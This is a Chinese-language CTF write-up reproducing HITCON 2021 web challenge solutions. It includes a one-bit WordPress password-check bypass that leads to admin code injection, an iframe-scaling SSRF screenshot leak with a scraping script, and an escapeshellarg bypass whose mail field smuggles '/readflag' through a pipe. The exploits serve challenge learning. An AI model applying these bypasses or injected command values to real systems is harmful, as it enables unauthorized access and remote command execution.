hitcon2021(复现)

hitcon2021(复现)

参考wp:https://mikecat.github.io/ctf-writeups/2021/20211204_HITCON_CTF_2021/
https://blog.z3ratu1.cn/%5BHITCON2021%5Dweb.html#more
(国际比赛质量太高,能力有限,有些实在复现不了XD)

One-Bit Man

给了一些文件,需要运行/readflag

<?php

    if (count($argv) != 4)
        die('arg error');

    $filename = $argv[1];
    $position = (int)$argv[2];
    $bit_pos  = (int)$argv[3];

    // check filename
    $filename = realpath($filename);
    if (substr($filename, 0, 14) != "/var/www/html/")
        die('filename error');
    if (!file_exists($filename))
        die('filename error');
    if (filesize($filename) < $position + 1)
        die('position error');
    if ($bit_pos < 0 || $bit_pos > 7) 
        die('bit error');

    $content = file_get_contents($filename);

    $head = substr($content, 0, $position);
    $byte = substr($content, $position, 1);
    $tail = substr($content, $position + 1);

    $byte = chr( ord($byte) ^ (1<<$bit_pos) );

    file_put_contents($filename, $head . $byte . $tail);
    echo 'all good';

明显是之修改一个字符进行rce。如果直接默认一波,就可以看到index.php源码,因为它把<转化为=直接出源码。从而得知是wordpress框架。直接github搜源码开审。
wordpress框架有个/wp-admin然后跳转到admin登录,如果能登录admin,说不定就能拿下。所以直接去wp-login.php审一波代码(由于功力不足,真审不出,按照wp分析一波)

$user = wp_signon( array(), $secure_cookie );

在1142行,跟进这个wp_signon
正常分析的话,其实这个函数似乎也没啥x用。但是直接在下面找到可利用函数我是没想到的。在user.php
wp_authenticate_username_password这个函数里面有个:

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
        return new WP_Error(
            'incorrect_password',
            sprintf(
                /* translators: %s: User name. */
                __( '<strong>Error</strong>: The password you entered for the username %s is incorrect.' ),
                '<strong>' . $username . '</strong>'
            ) .
            ' <a href="' . wp_lostpassword_url() . '">' .
            __( 'Lost your password?' ) .
            '</a>'
        );
    }

这里根据函数名就可以判断,这是用来验证密码的。如果密码错误就会报错。那么将前面的改为空格,是不是就可以任意密码登录了。写了个脚本跑该!的位置。为了快速查找,我用代替了!(因为~没有在该文件中出现过)

<?php
$a = file_get_contents("wp-includes/user.php");
for ($i = 0; $i < strlen($a); $i++){
    if ($a[$i] == '~'){
        echo $i;
        break;
    }
}

位置为5389。而且测试发现!^1=空格。所以Flipping-bit=0即可。开rua

Filename: /var/www/html/wp-includes/user.php
Position: 5389
Flipping-bit: 0

然后生成靶机。直接去/wp-admin登录后台(任意密码登录admin)。需要在主题那里才能插入php代码:


然后在任意一个php文件插入php代码即可:

(不太清楚在哪运行密码检测代码,似乎和wordpress的hook函数有关,在signon里面有个函数会调用所有的hook函数,可能是这个原因,另外,看这个函数的注释也能猜出它是干嘛的)

Vulpixelize

先审一波代码:

@app.route('/submit', methods=['GET'])
def submit():
    path = 'static/images/%s.png' % uuid.uuid4().hex
    url  = request.args.get('url')
    if url:
        # secrity check
        if not url.startswith('http://') and not url.startswith('https://'):
            return message(msg='malformed url')

        # access url
        try:
            driver.get(url)
            data = driver.get_screenshot_as_png()
        except common.exceptions.WebDriverException as e:
            return message(msg=str(e))

        # save result
        img = Image.open(io.BytesIO(data))
        img = img.resize((64,64), resample=Image.BILINEAR)
        img = img.resize((1920,1080), Image.NEAREST)
        img.save(path)

        return message(msg=path)
    else:
        return message(msg="url not found :(")

这个submit将我们提交的url界面进行截图,截图之后保存为64x64的,然后再恢复到原来大小。

@app.route('/flag')
def flag():
    if request.remote_addr == '127.0.0.1':
        return message(FLAG)
    return message("allow only from local")

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

这个明显提示要ssrf获取flag。理智告诉我肯定不可能直接submithttp://127.0.0.1:8000/flag但是尝试一下会有什么结果:


马赛克了直接。应该可以想到用xss进行ssrf。在自己的vps上写个html尝试一波,加入iframe。结果就是啥都没有。没办法了,根据wp,需要修改iframe大小为全屏,也就是1920x1080。但是根据之前直接submit知道,这样肯定还不够大,需要再放大些,然后想办法截取到flag的那部分。然后直接拿wp调好的数据跑(逃)

需要用到translate。感觉wp那个方法有点难懂。修改了一下php文件:

<!DOCTYPE html>
<html>
<head>
<title>a</title>
</head>
<body>
<p style="width: 1920px; height: 1080px; object-fit: none;">
    <div style="transform: translate(-<?php
        $xpos = $_GET['key'];
        echo $xpos;
        ?>px, -9200px); padding: 0;">
        <iframe src="http://localhost:8000/flag" width="1920" height="1080" style="transform: scale(25,25); transform-origin:0 0; margin: 0;"></iframe>
</div>
</p>
</body>
</html>

这个key就是根据传参,水平移动这个div,然后把放大了的flag截取出来。然后用python脚本去处理,把所有图片搞到手:

import requests
from bs4 import BeautifulSoup

url = 'http://3.113.172.41:22936/'
for i in range(10000, 37000, 1500):
    url1 =  url + 'submit?url=http://47.96.173.116/index.php?key={}'.format(i)
    res = requests.get(url=url1).text
    page = BeautifulSoup(res, 'html.parser')
    url2 = url + page.a['href']
    img = requests.get(url=url2).content
    imgname = 'img/img{}.jpg'.format(i)
    f = open(imgname, 'ab')
    f.write(img)
    f.close()

然后把图片拼起来就是flag。
还有一个更nb的方法:https://r3billions.com/writeup-vulpixelize/
根据chrome的特性,上传链接http://localhost:8000/flag#:~:text=hitcon{,}。这个相当于ctrl+f,查找字符串,但是只会高亮一段时间,但是足够靶机做截图了。然后他还对获取到的图片做摘要,发现如果摘要和59562acafb6436ea5fdf660ec57df0cc相同,图片是没有高亮的,即flag不符合规则。其他情况下都是有高亮。所以直接写了个脚本跑出flag,这个想法也很牛逼。

W3rmup PHP

这道题也很nb。由于技术有限,实在复现不了,记一下思路。

 <?php
    if (!isset($_GET['mail']))
        highlight_file(__FILE__) && exit();

    $mail    = filter_var($_GET['mail'],           FILTER_VALIDATE_EMAIL);
    $addr    = filter_var($_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP);
    $country = geoip_country_code_by_name($addr);

    if (!$addr    || strlen($addr)    == 0) die('bad addr');
    if (!$mail    || strlen($mail)    == 0) die('bad mail');
    if (!$country || strlen($country) == 0) die('bad country');

    $yaml = <<<EOF
    - echo          # cmd
    - $addr         # address
    - $country      # country
    - $mail         # mail
    EOF;
    $arr = yaml_parse($yaml);
    if (!$arr) die('bad yaml');

    for ($i=0; $i < count($arr); $i++) { 
        if (!$arr[$i]) {
            unset($arr[$i]);
            continue;
        }
        $arr[$i] = escapeshellarg($arr[$i]);
    }

    system(implode(" ", $arr)); 

这个需要绕过escapeshellarg进行命令执行。然后这个for循环里面有个unset,这有个trick:array('123', false, "';id'")在进入循环的时候,到了false这个布尔值,unset会导致array长度变为2,然后直接跳出for循环,导致最后一个元素逃逸检测。所以关键点就是这个false如何制造。在php yaml_parser的官方文档下面


NO可以解析为false,然后NO还是挪威的country_code,所以需要一个挪威的ip。
http://free-proxy.cz/zh/proxylist/country/NO/all/ping/all
免费的代理,直接用火狐的插件配置就行(总有一个能用的),然后用mail传a|/readflag||a@asd.com即可
不知道什么原因,如果把|的a去掉就会报bad yaml。

如果mail前面直接裸|,会让yaml_parse解析错误,所以前面要加点字符。

Metamon-Verse

国际赛9解的题,看wp都不知道在干嘛,学不来,感兴趣可以看:https://r0.haxors.org/posts?id=27

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇